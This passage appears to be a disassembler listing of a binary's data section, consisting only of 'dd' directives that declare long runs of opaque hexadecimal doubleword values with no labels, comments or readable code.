		dd 0F3005FDCh, 2CA6DDABh, 17E2917Ch, 2D73C6h, 4094B5CBh
		dd 0EA008267h, 791F3DBBh, 0DBAB9Ah, 0E0168009h,	0EDFD0E93h
		dd 99BBB500h, 0BD18EF88h, 4283005Eh, 0DED2E92Ch, 38044A80h
		dd 199F3750h, 4BB22880h, 768809E7h, 5D7921h, 31D198ADh
		dd 0FE373F8Dh, 1EE3EA03h, 0BA9014F7h, 5100F4A7h, 0AC057C11h
		dd 0E45470A9h, 0C03C0009h, 145BE984h, 0E6004B91h, 18483A58h
		dd 0DAFA49h, 7C915E8h, 4EB5B15Fh, 92024200h, 98DECCFCh
		dd 0EC3952B4h, 54603AC3h, 0F8E0E6ABh, 0CB000E26h, 0DD806505h
		dd 39B289C7h, 0B489B1D7h, 1000703Ah, 4DF55647h,	0A522E903h
		dd 0D86CEC5Dh, 0AB2867h, 66AA269h, 9A9ED40Bh, 8A0A82F8h
		dd 0E4D0EFC0h, 0CAB26200h, 70723Ah, 8BF6E04Dh, 2EE14993h
		dd 3198F700h, 13F08461h, 91A00554h, 81C8F1F4h, 0E0F9E416h
		dd 4128233Ah, 0D518B461h, 0A2804418h, 141D2E85h, 0ACBE00F3h
		dd 0DA5B6FC1h, 0C02DAB03h, 0B8E1231Ch, 663C8Fh,	5D2133FBh
		dd 0A1AB9E02h, 74627B00h, 12E34D45h, 0ED8F3837h, 0BE8D3300h
		dd 0B60241CBh, 0B3EE100h, 5DC481ECh, 40B400C0h,	1A945C65h
		dd 0F115E49Dh, 0F02689h, 0A0BE7069h, 7C41617Eh,	77CE00FDh
		dd 76B48DBh, 8A00E73Bh,	0A1421B3Eh, 9C8B22h, 0D5A3C0D9h
		dd 754B0C4Ch, 58AC1900h, 0C8F47DC1h, 0AD180029h, 778AFA4Ah
		dd 9A71F046h, 0BA0003F2h, 0E853234Fh, 0D3C96Dh,	2B425063h
		dd 0E0D86173h, 8BF7B500h, 0F6E2BD24h, 7CA20058h, 55EC6783h
		dd 3000785Ch, 797D009h,	0F8BE66h, 0C08DCB37h, 523EDB7Ch
		dd 1CC67502h, 0E00E5FE3h, 2757FAh, 0FFE43167h, 5935376Ch
		dd 34D13A01h, 0D9717290h, 3ED64F0h, 9509166Dh, 0DFF0AB4Ch
		dd 5C50AA23h, 0AC00A0A8h, 138CF7C7h, 0F2762AF8h, 0FEA500A9h
		dd 5E10FD1Ch, 467C902Dh, 0DD8F0400h, 0FA5DCFB4h, 0B64D00CCh
		dd 24DF7B0Dh, 7900A082h, 65726DD7h, 0CE704Eh, 58069743h
		dd 0E3A82260h, 88CC5700h, 0A7CDB810h, 0D4E20079h, 0BFB79C0Eh
		dd 0EC00A60Ch, 0A37A6BCBh, 336FC33h, 0FB7D4C1Eh, 9F88C7D4h
		dd 0EF2CFDCCh, 0AF008020h, 294FB3B9h, 50D4001Ch, 0EC3A968Dh
		dd 0DA009A3Bh, 644CE07h, 78629Bh, 0E74EC4A9h, 1DCFC764h
		dd 85AB924h, 0FA459440h, 0D5BB3920h, 731FF200h,	509EEB3Eh
		dd 0E8EECC92h, 0F64F6901h, 2F52F00Ah, 589BE483h, 1800DC82h
		dd 511BBEF2h, 3CB7C36Fh, 7E802F45h, 6DFA8A0h, 0BF0688D2h
		dd 0CCA794F8h, 365A044Eh, 0C3BA82CDh, 0D000C5FDh, 0EE8BF4D6h
		dd 0CE4B72h, 0C32C1516h, 0A166BBD1h, 0DD70AFF6h, 1B735E1Ch
		dd 0E0C68C0Fh, 43545ADAh, 5CC263Ah, 0E69E0062h,	1315719Dh
		dd 983CC22Ch, 3590A100h, 1464EDh, 0D574C9D1h, 441F5CB9h
		dd 58385003h, 1C90CCh, 0C6D35AD8h, 4975FA8Bh, 2E19BD00h
		dd 0BF20DC7Fh, 0D894007Ah, 80032FFEh, 0B900EB2Bh, 4C88A406h
		dd 175E9Ah, 64EA6BBAh, 63E4472Fh, 6A1F181Dh, 0E82C65CAh
		dd 0F68AA100h, 0A4ED84h, 1F11733Eh, 0B28EE245h,	88BE10C0h
		dd 4078957Ah, 10031A6h,	7F5EB029h, 71C566h, 39DF5B21h
		dd 7494605Ah, 4E043600h, 0D518A38h, 3754003Fh, 8F508824h
		dd 1D75AF9Ch, 35655E00h, 6DE195F5h, 40EA0F0Dh, 0FE20794Dh
		dd 0E389CA85h, 3CC45300h
		dd 59748FC5h, 0DE5A0851h, 8B03BC33h, 90C00FCFh,	30E042B7h
		dd 0E16840A0h, 0FE30FBBBh, 7D6B1014h, 4EE9016Ah, 34E864FCh
		dd 0BE42CCEDh, 85C76609h, 55780072h, 0F5CCD2h, 0BF15181Ch
		dd 53C0F7F0h, 9A28E303h, 80E8E912h, 7F60A748h, 7D9800C6h
		dd 87FDCE25h, 0F379C07Fh, 9BA9D800h, 0AA554088h, 0F2BF0005h
		dd 0E4D41B4h, 85006C06h, 9F8E81BAh, 0BD2A4h, 2742ECE4h
		dd 0C48C0504h, 62E18700h, 6E6B25AEh, 921700F4h,	5573A081h
		dd 6000B54Fh, 7A9F7F43h, 6C4E497h, 0B9B81C8Dh, 0A00E809h
		dd 0BE3080D2h, 70CDA320h, 767074Bh, 908D8AFFh, 0C5AB82F3h
		dd 2E1DC3B0h, 0BD01F99Bh, 0D6DFAF01h, 0AD0FD4h,	8AD7A50Bh
		dd 367A8988h, 470041F2h, 823EB597h, 0AAF93Ch, 9A5655FBh
		dd 752E26FFh, 882258h, 80D76764h, 1D4F5734h, 406335D5h
		dd 0E18F81Eh, 0C00D0A3h, 0EB6DEE14h, 789E504Dh,	3966093Ah
		dd 5001D2Bh, 0FCFD5855h, 62D0CAD8h, 0DF9F029Bh,	98BB2975h
		dd 90E06840h, 4003BEAh,	22CB6CA6h, 8EFF46h, 289196C8h
		dd 9847FA36h, 0A7410D00h, 4F161CC5h, 13FF0C5Ah,	0CFD17E12h
		dd 0C8D321h, 5DCA1C77h,	392C7098h, 5031D9Eh, 0A8F0EBEFh
		dd 11BEF5h, 813559F9h, 93CACDEAh, 0A7FF20C0h, 278ACEDh
		dd 0B8A20356h, 4C40BB0Ch, 2F002A91h, 0DC11A693h, 1C5A933h
		dd 0A51665CDh, 20E13EBDh, 0EA768688h, 0BC902500h, 536CACDEh
		dd 8DCCEBC1h, 79CA2ED9h, 88140049h, 1B2499BAh, 1F8B700h
		dd 0E2DF860Ch, 0F1F0084h, 948D495Bh, 0B40E2AD1h, 60F95785h
		dd 0EF6D731Eh, 42180133h, 53DBBD55h, 4436C849h,	0ACD78100h
		dd 0ADD6E4E5h, 0B53A3EA5h, 9B390076h, 0FFF18248h, 7A002C95h
		dd 7E9AD7Ch, 758579A2h,	8B19C036h, 0C8DC3971h, 0CE0092ECh
		dd 0DB8DAA83h, 19CFCAh,	6A13AC6Ch, 860D9002h, 0D2B87700h
		dd 7C1563D5h, 0F53E0C4Ch, 75C01404h, 0F2A75A00h, 9451AD8Dh
		dd 0F737007Dh, 0C3637F01h, 2F1CE1DBh, 67C030ECh, 0D73D1614h
		dd 9B8F0049h, 0A2B0713Ah, 0C5734D6Ch, 40C18E07h, 620C0BCh
		dd 3F18D877h, 0E180A121h, 38A53194h, 0EB07AA59h, 3872317h
		dd 26B3BB00h, 64B50410h, 87F74290h, 919DD2B1h, 96D5B440h
		dd 0E744DA00h, 10984C78h, 0A9EE0033h, 0F12E1184h, 303313Dh
		dd 6BCFA52Ch, 0B80DD88Eh, 0DDA0001Bh, 3F537B5Ah, 0F02FD33h
		dd 0E623A67Eh, 26837765h, 0DF89E9C7h, 0CBD1603Fh, 780F90F2h
		dd 0C0015E8Dh, 47E2A1DCh, 75D40006h, 0AA2A2E0Bh, 0A33B1980h
		dd 53A58F5Ch, 8101E04Dh, 4E13D0h, 2F48BD9h, 1534D8BFh
		dd 0B2969003h, 0E0DC8A06h, 47A31Fh, 0D8162D7Dh,	0A1C2C912h
		dd 0B2744B03h, 0C00854D6h, 252F539h, 247D0A6Bh,	73E0C1D3h
		dd 2D721DC8h, 0C268C90Bh, 602A00CDh, 328265h, 0AF12B574h
		dd 0A841D922h, 49E7840Ah, 0FA00EC6Eh, 36ED583Bh, 0D9B869h
		dd 995F65E0h, 730CBACDh, 28717630h, 0C5527Bh, 8104E478h
		dd 0EEC909A7h, 4E006AF4h, 0E89ABE3Ch, 426919h, 0AB9590A8h
		dd 311322E2h, 2F007E7Ch, 0C1B9DD23h, 0C8B6D9Ah,	5EF2462Eh
		dd 0B0001468h, 9D58DF8Fh, 0F326BA0h, 5BE8F534h,	308C40FCh
		dd 0CCFD6D6Eh, 7B958100h, 5D02F91Dh, 0A678ABh, 0B2E0DD66h
		dd 734515AFh, 6C1A8207h, 7BF754B9h, 5F6E3670h, 0E78000Ah
		dd 0DCB25AAh, 4600F4B0h, 0F6AE99F5h, 6686Ah, 3F448A8Dh
		dd 0AA52B334h, 2ACBC22Ch, 8B6C6900h, 624992h, 0B88602B1h
		dd 1BB67163h, 3BC17A00h, 7084D920h, 181D3D6Ch, 8B1EBA01h
		dd 0B09C26FCh, 0B15028ECh, 91330124h, 7E11455Bh, 539020C5h
		dd 468E0F0Eh, 0AEC6C055h, 7287E5B2h, 0B99B0035h, 4394377Eh
		dd 91CE8E2h, 0E580F0A2h, 0AB5B2325h, 9AC800BAh,	66D6AACDh
		dd 4A3E533Fh, 0A0CE8212h, 0E052205Fh, 850AF6h, 335CA825h
		dd 0C59FE0DEh, 4C159A1Eh, 0E8161381h, 38307C65h, 3B5903D7h
		dd 1CE7F268h, 3F2F4E90h, 84B67900h, 0D0EC5D16h,	6B3D0F75h
		dd 996810Dh, 2C80D7C8h,	2324C0BDh, 0C4D2D900h, 0AA41710Ch
		dd 5C3600A8h, 88C9285Ah, 200549Bh, 3C1F625Bh, 9AA715h
		dd 652D9CCBh, 0A25118D7h, 28036676h, 6E3EFA1Ch,	9A9080FEh
		dd 3A8500BAh, 806DB36Fh, 0C473D1A0h, 880EE575h,	8EEA3DDEh
		dd 74308056h, 0B0508044h, 0D7BF0422h, 0C0730717h, 0EBB82C2Ah
		dd 23008170h, 71BD7A9Dh, 0D7547Eh, 32879056h, 28408DCFh
		dd 8F6F5E12h, 0E8457400h, 3915748h, 0ACB11A7Dh,	84F810F9h
		dd 0F100AF26h, 4930346Ah, 24B746EBh, 881D3Bh, 3CE3936Fh
		dd 1E055B13h, 7E7D1A0Eh, 578CB000h, 1618D620h, 814ABDh
		dd 0F3E766BFh, 7B00FB0Fh, 89A10727h, 9E43BCh, 0BD4D3D1Bh
		dd 5E740BEFh, 1FCA000h,	27CA2A7Bh, 0F27FF6h, 0A7291C6Bh
		dd 6157CB2Bh, 0ADD8D109h, 7320214Bh, 0AFFC9865h, 4390053Ch
		dd 971F2E0Dh, 15FBE00Ch, 4179E9CAh, 86527E1Fh, 0AF00559Eh
		dd 9273DF69h, 4D3216C1h, 3B1401DBh, 0F8148BFFh,	720036B6h
		dd 8229EA34h, 0E8E9A83h, 67EF0F0Ch, 24489F20h, 0EB00C801h
		dd 7FD09BB9h, 0FB27B2Dh, 73BF9FFh, 0CA1DDA80h, 0AD0BD5BDh
		dd 2E28D685h, 67192178h, 5080AA9Ah, 0CE8C652Fh,	0B00044F1h
		dd 32EC6805h, 0A1FE14h,	0AA903A84h, 0B89F13C5h,	0F4289B05h
		dd 3880BE3Bh, 13F720DDh, 5072A2Fh, 0C0A8F523h, 927780E3h
		dd 0A7005890h, 21C9CBE2h, 487175E8h, 0E8604B82h, 50346642h
		dd 0DFC20304h, 94822B12h, 8D13E098h, 29811DB1h,	8CE880BEh
		dd 0D408144Bh, 263AA600h, 0F72BE64Eh, 0D7982E3Bh, 7843878h
		dd 0C0A6AFC2h, 72AE9FF4h, 8520CF1Dh, 0B8008752h, 2A2F649h
		dd 4C963ED3h, 0E7A800FAh, 8748D5C1h, 6A1FE0E2h,	0B7C07F2Ch
		dd 32047466h, 0B87290h,	0F14073C8h, 0A66255F7h,	0D7AE891Dh
		dd 4A40A7DDh, 0C6BD0F19h, 0A20A0E6h, 73B715CCh,	0B200A879h
		dd 4D5198E4h, 80009C62h, 0E1AE8797h, 2C32E525h,	8A2AFFh
		dd 9C6843C3h, 0BB383115h, 0D57581BDh, 0BC2A8A20h, 99F05FCh
		dd 2883E809h, 0FE4ECB05h, 891BC1C2h, 0D9D000D6h, 0F91C5Fh
		dd 0A19DAFF8h, 0B2410769h, 0D3095B1Fh, 6BF54F40h, 23E76B8h
		dd 0A8A5CA0Fh, 71601510h, 862C48A4h, 0B018CE28h, 0E6DC7A31h
		dd 57E90536h, 40EBBCA0h, 6FE72CA4h, 0B800877Ch,	0B695D80h
		dd 75717h, 46CC4EFFh, 71EDE468h, 817D0D1Fh, 4AA0C1C1h
		dd 14301D34h, 783B17C7h, 0B8611832h, 0E8A05298h, 24165EE8h
		dd 24074D9Ah, 5981EF7Dh, 109053C4h, 342408CDh, 0EE75034Bh
		dd 0A7807FADh, 6B0704D3h, 9A5CFA8Ah, 0A822BE63h, 0A0B702h
		dd 0FBD7DA8Dh, 563A875Bh, 0C94FA530h, 7FCE86Ah,	0D69DF8FDh
		dd 633C8398h, 0BDBFE5A0h, 0C1F57000h, 0CA568160h, 0E0570FFBh
		dd 0FF80DB7Fh, 88FEA29Dh, 0E2C3A59h, 0A0123127h, 0B37E8D39h
		dd 3CF8A9h, 0CAFDF6Bh, 0CC1CC09Ah, 1A3D4D00h, 389F3370h
		dd 3A500BBh, 2F5DC1D1h,	0E00B650h, 10FB9396h, 4626C2h
		dd 0EBFCC8B5h, 0CCB3CF02h, 1D7185Ch, 0F1115C3Eh, 85F8C282h
		dd 6AAB5C40h, 2C1C0077h, 0B5907ADAh, 664AA64Ch,	80720C0Fh
		dd 0CBAA382Dh, 44D928C4h, 65F90ED0h, 720850Dh, 51BAA3ADh
		dd 60481300h, 4CECEFBFh, 5DE3005Ch, 0FD319AA5h,	150EB799h
		dd 29427B0Ch, 4F7C0F49h, 206BE1F2h, 0D0CC5E73h,	2F7E01BBh
		dd 67E3EE04h, 6000C711h, 86A5B0AEh, 3F6F0C39h, 42849001h
		dd 0D06AFED6h, 300E2CA0h
		dd 0E18B8A00h, 0A978C61Dh, 56F505E4h, 0C0518F0Dh, 6FDE1BDDh
		dd 3BDC7B00h, 0D5CBD73Ch, 70DECA0h, 8BDFBAFFh, 5740C0A4h
		dd 0B9005F48h, 0D691C390h, 2003DAh, 0AB1D53E5h,	0D89DCEA4h
		dd 0F9A1DD02h, 60545E9Bh, 0B507C8h, 970FB3FCh, 163AF760h
		dd 4D93B009h, 1C648094h, 7A25539h, 0D8592030h, 0E3B3A0D0h
		dd 2B750F3Fh, 0CC9E9324h, 24D29D00h, 137CE79h, 6BD75DFh
		dd 81452A94h, 8BBA7C36h, 0EE82680Ch, 39EF8C6h, 30A06161h
		dd 1B04FCA8h, 832BD2C0h, 0B9D78480h, 42BE000Ah,	640ECFECh
		dd 2700E0CDh, 3203ABF3h, 51FD25h, 8E2E3450h, 0C54CEB9Bh
		dd 19440400h, 61927FC1h, 2D6E069h, 0FDBB9A0h, 804B5221h
		dd 0B3D3F1F8h, 0A50026E2h, 2934D987h, 0F2FA8Eh,	0D0B6BCD2h
		dd 7F4B539Ah, 0C5548800h, 59917173h, 19050692h,	29D0FCD9h
		dd 542AAF09h, 4550A68h,	2505F050h, 8C80B81Dh, 39B73DDAh
		dd 28018313h, 0FA315400h, 1A25796h, 1256F776h, 7082A785h
		dd 0FF81964h, 13008977h, 10D0BEE3h, 32F68D47h, 22501FF7h
		dd 4D52F5C0h, 95E01761h, 0E2E47E91h, 0D88A2407h, 5DE000D0h
		dd 12F9BAC0h, 0E73FC726h, 0E8432E0Ah, 0D5800D9Ch, 35145FB7h
		dd 139B03BAh, 9D06BCC3h, 0E82E37D9h, 901D1996h,	62C0640Fh
		dd 0ED5ED614h, 5FEA072Fh, 305A98CAh, 0C59108F0h, 33E1DB00h
		dd 3A6548A8h, 7673120Dh, 7BD200A4h, 0D5889852h,	8BA3A505h
		dd 0C8909AE2h, 432F4Fh,	92907312h, 0CFE4D544h, 8600B890h
		dd 0A7553EEFh, 16CDB1h,	9B707EFDh, 0D630942Bh, 27C81E05h
		dd 2B80C309h, 0B895BA60h, 0A89448h, 0FE4718D2h,	0B49034BFh
		dd 7DB96604h, 3A815D32h, 9874251Eh, 34DF48D7h, 1CE34300h
		dd 3E8249CFh, 38FC6E24h, 0BC3B390Ah, 789A1D00h,	28FDB4h
		dd 57A9A3D5h, 2FDE376Eh, 63B04Ch, 5791FE9h, 5BA558h, 0F7394F33h
		dd 81A46668h, 5E693E07h, 7AB07F92h, 0E81B08E3h,	382401AFh
		dd 0A365EA1Dh, 0CC15D47Bh, 0B7E51003h, 0A1B470h, 0BF81490Ah
		dd 9E0DE6DAh, 3D83A300h, 99AD59CBh, 12F4CDh, 8CAAEAE5h
		dd 1EA9D89Ah, 0F7ABBF00h, 99040F03h, 185300D5h,	0A20B9FD1h
		dd 270EF6ACh, 173CBE60h, 0C113C00h, 13B5BB3h, 0DFFBBDEBh
		dd 64099AD4h, 341F9F4h,	249D0h,	0BE45E141h, 0F5790AE6h
		dd 0B0E0D42Eh, 0A8A6830Ah, 52C0469Ch, 703C673Fh, 6C18005Ah
		dd 8BB3A7E0h, 707DE44h,	4D1B53AFh, 37588990h, 38E800F7h
		dd 0A716457h, 9A0EA80Bh, 0E04D2D3Ch, 987431D4h,	3C38F5ACh
		dd 0DB69C09Fh, 57D7D144h, 0CD981400h, 9F46D46Bh, 0E8F001D9h
		dd 0A0A90F78h, 69C4C033h, 11819E2Ch, 0F2D4AC00h, 23B6D01h
		dd 6734F354h, 8C0A0C9h,	0A3263A39h, 70E846Ah, 36C0CE06h
		dd 95197440h, 12B460D8h, 0D0F803h, 0DA201DC0h, 0CF494CA9h
		dd 32571FF0h, 0D2BBF001h, 80F6954Eh, 68F1984h, 0E6743809h
		dd 7CA54204h, 0B3B4903Dh, 690B2C24h, 0F02B6D8h,	345DFF38h
		dd 5E001064h, 9004494Ah, 9298268Bh, 942C0E74h, 925D7204h
		dd 0B891AEA0h, 1478F450h, 95DEF61Dh, 8DF8B7C0h,	0DB749Ch
		dd 381C7FEDh, 7357A066h, 47A84200h, 98C42902h, 13A207FFh
		dd 591F75h, 5CB18822h, 3A000FEEh, 0FD21B0CCh, 14EB4Ch
		dd 0F031D09Eh, 0F0CA36Ch, 7CEC701h, 0E42EFAB6h,	94C97F4h
		dd 0FFADD8D5h, 0FECF2383h, 9032C880h, 98A1B700h, 0BE2C31BAh
		dd 7E06078Dh, 10A2EDB4h, 91C34F2h, 1CB558h, 0A99544F3h
		dd 1D35FE1h, 6FD896B2h,	0F8AC2B66h, 0E207DECDh,	99C1936h
		dd 42524710h, 3080121Ah, 41460BE5h, 6DA80D81h, 0D20200Bh
		dd 7C00DA73h, 849936B5h, 10C13A9h, 7BB789Bh, 0C8E525F9h
		dd 0C8716AB3h, 510F1800h, 3AAD6E9Ch, 0DBC1000Ch, 41395D07h
		dd 3300AF1Ah, 980F38AEh, 0E6FC7Fh, 1E01D981h, 4C315F47h
		dd 0CD9B5017h, 73B309h,	341F7488h, 3E625C5Dh, 0D1D92700h
		dd 0A52D48CBh, 78027973h, 6BD2A0D7h, 0C8816022h, 24D91F4Eh
		dd 8C938074h, 0E768FB1Bh, 0A065E100h, 54F435ECh, 82C00DDh
		dd 0B1A41753h, 0ED00F3F6h, 840A1B64h, 0D35243h,	71259A03h
		dd 0DA4E4673h, 0CC6D8AC0h, 2FAB5Bh, 9CDCA228h, 0E11613F2h
		dd 64DB2400h, 92DE4ECAh, 0F1CD0353h, 0B23E7A5Bh, 6B40382Ch
		dd 13FBB600h, 0C4DF6C5h, 1EDAFA7Fh, 0CF12E021h,	0E4143DD8h
		dd 0B138018Eh, 48F147B9h, 66F45421h, 98CBA6Ah, 123E4140h
		dd 0AD2A045h, 7D09BBF6h, 588C20DBh, 0E814FA3h, 9FD89CFCh
		dd 23646F80h, 4E5D1855h, 6E00004h, 9D0F58DBh, 0F7463AA4h
		dd 1640E87Bh, 447D19BFh, 0A439FE10h, 0D4588178h, 0F4BE0B8Eh
		dd 0AC48889Ch, 0A09AEF0Fh, 50AF0A89h, 7F300088h, 81877D0h
		dd 0A100FE20h, 0AE5B4991h, 3BD8E9B6h, 461CEF59h, 0A5574035h
		dd 9D8C874Fh, 0FB3FE001h, 6D54B47Ch, 380B0CCh, 10A871ADh
		dd 0A4E09DABh, 0D8007D2Ch, 646AFBCFh, 0C01B56DEh, 0A949A2D1h
		dd 6075B3F9h, 0BD4DC200h, 0F9B5FCDh, 53110074h,	31B6E62Fh
		dd 6300857Bh, 0F6ECC0FEh, 2BD59h, 5B9E04C2h, 0E509086Eh
		dd 0F36D1500h, 0D401B33Fh, 0A20F0144h, 0B9F271D8h, 618FC433h
		dd 0B130411Ch, 0BA721000h, 36B4C7h, 441B5081h, 7DCE864Ah
		dd 0E400677Eh, 0C794135Ch, 3ABFD32h, 7635E99Fh,	50F8EADEh
		dd 690F7892h, 603096E5h, 0C4E285B1h, 758000FFh,	74AF4EAh
		dd 0C53F57A5h, 0F9AA1E42h, 88A6E000h, 0ADFC2Eh,	0ED1A8CDEh
		dd 0B1913A21h, 0E64A807h, 0BBA72231h, 0F5E2C9A0h, 0E45C07A2h
		dd 50D3B835h, 2B3B96AAh, 63971918h, 58177621h, 7761D36h
		dd 382C546Dh, 0ECC5D081h, 0FF00280Bh, 0B6311077h, 3E419153h
		dd 0D501C774h, 2FEC80B4h, 824881BCh, 0ADBFB012h, 33FA49ECh
		dd 40087115h, 1ADC210Eh, 660A60B0h, 60F92958h, 36F46056h
		dd 26802540h, 0BCA21E86h, 0AE7FC678h, 42F0A0E9h, 10EFBF00h
		dd 0B876B26Ah, 8CA636Bh, 2006F63Ah, 0ADF0E629h,	3C8E0392h
		dd 706D78AAh, 81A3A830h, 5816C2h, 0A447AD5Eh, 8BB630ABh
		dd 15515158h, 239C0C36h, 35E80067h, 187CCD84h, 0C8229742h
		dd 357B8A03h, 809C4202h, 6ECB62Dh, 0EA4BA952h, 6646510Bh
		dd 0B735E102h, 6431E4D3h, 35808910h, 1312B100h,	0E7FEFACDh
		dd 86293A50h, 62388D10h, 1A89360h, 60EEAF41h, 0E00018FFh
		dd 0CE47CF7Bh, 0A15C5Bh, 50299977h, 26C4C687h, 0EA125F01h
		dd 0A19D849h, 0C1E8DFD9h, 1D709803h, 0C515E229h, 8066054Dh
		dd 432765CFh, 22481700h, 24A99D97h, 82691F63h, 4AC48166h
		dd 0D0758CF6h, 61F2C94Fh, 0CAF10C00h, 29044238h, 31C600C7h
		dd 5EC2E16Fh, 5713A674h, 5B1606F5h, 0EEF1E000h,	0FC7BFCFh
		dd 0A7135307h, 0B0C3DF6Fh, 36003AA6h, 1EA379F9h, 0F21B3E5Fh
		dd 3C3575C6h, 7A000440h, 24D3560Dh, 0AB00A23Ch,	0A6B1E733h
		dd 451D07h, 0B087D7Bh, 0C9DFB51Ah, 0C0B2E90Fh, 3217E0A0h
		dd 0F2644DFBh, 692800F7h, 14ABA9BAh, 8C050DFh, 0EDFEB63Ch
		dd 952206C0h, 5EE04BB9h, 0E23A3E00h, 0A0AEC382h, 0A1D61D18h
		dd 61F500ABh, 9FCA2CE5h, 9056281Ch, 25F496C0h, 3C9C2176h
		dd 79A2C3h, 7D6C1FE4h, 9BBF5471h, 0A9FB38h, 34CA13BEh
		dd 137A57Fh, 0B94EB3ADh, 98D7E744h, 89F6A910h, 0FC5F03B4h
		dd 0A0C49B3Ch, 344FA91Eh, 0D29E0AC0h, 0C112C6h,	3FBE38BAh
		dd 7906604Bh, 0AD03DA7Eh, 6913D4E8h, 3E0AE054h,	0E3BA1FBEh
		dd 56033C64h
		dd 0FBF21837h, 9FE943A0h, 0A426F805h, 0D6060A76h, 6008D27Eh
		dd 10BC21A2h, 45036427h, 26931B8h, 0F2B288DAh, 36BA185Fh
		dd 0C829708Fh, 0FA6730C0h, 60EC9A0Eh, 0C74910FFh, 0CE03AE60h
		dd 6665FB4Ch, 0A10838B6h, 4F262060h, 0DC001760h, 0CE2A63ABh
		dd 0C35E0D8Bh, 113408B8h, 0B060C1C1h, 0A1FF9110h, 0D8791D42h
		dd 9710309Dh, 0C703ACAAh, 0FC462606h, 0C209301Eh, 0ACF27721h
		dd 33BA8B06h, 649F0CEh,	26799E4Ch, 0D71FC005h, 498F7DF7h
		dd 6C33040Ah, 1407E94Eh, 0E61A0730h, 4D1E883Ch,	2A8312E6h
		dd 85F2AABFh, 1B44AC20h, 10B56038h, 55A05E75h, 221DF278h
		dd 0BA4002D2h, 0DEEAF7F8h, 0D0381F44h, 51803990h, 17D3C4DCh
		dd 0F000664Ah, 0CD163FFCh, 4CA0613Ch, 7903B827h, 708A2B13h
		dd 33AC3A00h, 0BEAD8D21h, 78E8D7h, 5B1D3BEDh, 0D0ECA3BCh
		dd 0AA22C00h, 0E075CFA8h, 0EA671FA9h, 8AAA402Fh, 2B2290BBh
		dd 9F721B00h, 9DD62EA0h, 34785Eh, 0F2803143h, 6E3226FFh
		dd 0A17AF700h, 1FACAE6Ch, 0F8291DD5h, 84003C20h, 0AFDFB70Fh
		dd 15001D3Eh, 0DC4DD4AAh, 986B2002h, 0BF2503CEh, 0B95D0DDBh
		dd 8192921h, 0EA908EADh, 5ECBC884h, 8D420861h, 8826CE88h
		dd 6188CC81h, 5678814h,	88283288h, 0ED91CEC6h, 88761300h
		dd 832D194Ch, 68103B00h, 4BEEDB54h, 42AF07BEh, 0D0659845h
		dd 27F7CDA6h, 66226803h, 0B9865FDAh, 64603EBBh,	3A5CE420h
		dd 358F5106h, 0A8A0300Bh, 485AD33Fh, 4ABCE800h,	0D486DF99h
		dd 5BFA6Dh, 69928AE7h, 88D5D8BFh, 0A163F51Dh, 0EAAEA680h
		dd 0F0B12Ah, 0FBECE78Ch, 10ADD076h, 643E6Eh, 0F76CA352h
		dd 2EDC079Bh, 15B5FA80h, 0CEC80095h, 0F6606834h, 940BDD00h
		dd 0E91B8E36h, 0F092713Fh, 0D91E1CD2h, 4B7C8033h, 0CE8FF5A0h
		dd 0C49C5719h, 608002CEh, 645F7F0Fh, 1972A813h,	0E4B48C00h
		dd 0D3267134h, 559F035Eh, 8FF3FA7Fh, 22B87900h,	166C2A0Dh
		dd 3C2E000Ah, 5C7ACC03h, 57009EE2h, 7F13F45Dh, 0B854A4h
		dd 5BF0FD93h, 0C0D4F86Ch, 8A22C600h, 0E38CB6Fh,	29AF0750h
		dd 0F2B1F67Ch, 8D60082Bh, 8F018AE9h, 0E1E25B2h,	91E3C547h
		dd 1DE8B91Fh, 0F36C0030h, 0D059F72Dh, 80F61C87h, 0D23F1100h
		dd 3E57AA4Dh, 0A0F3013h, 0C4601529h, 0E70E2B71h, 0D29DD3h
		dd 586ABD44h, 905B50E2h, 0C0410325h, 0D52A8D05h, 8E21F401h
		dd 64B2B716h, 51E770h, 65288FFCh, 7FEB7EDCh, 2AE20400h
		dd 1D96F94h, 9DA80069h,	0E35C3FB9h, 0CB00DC57h,	324A5441h
		dd 0D6ECCAh, 18222D7Ch,	0DB36D39Bh, 124EAC00h, 0ADF35CA3h
		dd 0B0C951EFh, 0BBE9D0h, 97406491h, 0F60B9AFCh,	807B473Eh
		dd 0BADD8FE0h, 784544h,	0B5517242h, 15905BFCh, 18C96300h
		dd 1DAAC2F6h, 8FB02EBh,	4C70DCF2h, 0E45F5440h, 74572201h
		dd 2FAC4490h, 1D1DF070h, 0C0963A10h, 6FB8C2DFh,	3700EEC4h
		dd 5236AE09h, 342656h, 38475C22h, 17B5B76Bh, 4D441003h
		dd 0DF6218D8h, 0B3313C80h, 99970002h, 0F8757111h, 64CFA2Fh
		dd 88F40E18h, 6E596021h, 1EB1FC7h, 0C9E7BF5h, 0F481D835h
		dd 9038B85h, 1D997CE4h,	4CF7B990h, 18C73BDCh, 3823C918h
		dd 0A500DBE4h, 9BFAFE20h, 0CE240FE0h, 26C04518h, 0F95667A8h
		dd 62C95700h, 99076D17h, 1FEBEED4h, 0BC689B40h,	9A848600h
		dd 0A517C882h, 580005B8h, 1C7339D2h, 0AB230h, 85EE7AB8h
		dd 3DB1CCDAh, 67001090h, 0F50DF712h, 6E3594Dh, 806F76C0h
		dd 3607260Eh, 133F5723h, 0B7BB69C0h, 3411002Bh,	9F4A3AEFh
		dd 860027F2h, 3682026Bh, 1620E003h, 0A0549A3h, 3AFCC67Dh
		dd 0C5B7E500h, 0D0B39CE8h, 1579F01h, 0ED3B7F6Bh, 0B5C620h
		dd 368A8940h, 58B9557Eh, 0EAAE6A0h, 0B5CB600h, 0EEE194EFh
		dd 968D3AC7h, 0E509AFEh, 4D56E02Bh, 0A2CF9EA1h,	8458EC24h
		dd 0E7A94Ch, 17D8954Eh,	25E5F3h, 7D2609B0h, 7AB73D4Bh
		dd 43B6DB01h, 0FC42DD13h, 1A5030h, 0DF6369C1h, 4114E9CDh
		dd 0F7F54F00h, 722C73F2h, 169A00A1h, 0DA133C20h, 0A00093C8h
		dd 0A5E30BDFh, 705CAD5h, 0BDAEB5D7h, 8C130008h,	870091F4h
		dd 66C7B4BBh, 0F07B7D7Eh, 0B5591C38h, 98C1000Ah, 0B4AE656Dh
		dd 80B33738h, 32483DE4h, 4B5A30h, 0A2616968h, 0BA09369Ah
		dd 1CD57E00h, 4059778Eh, 72D0B8E4h, 72E60079h, 236A89A9h
		dd 5270ABB6h, 67923300h, 7EAD768Eh, 0CCA10085h,	7F618D95h
		dd 490036F9h, 366BBABh,	35883A9h, 533C5A67h, 57A8BDCEh
		dd 79C02E97h, 1A4287ECh, 1A4002Bh, 8C28690Bh, 2D0EE50Ah
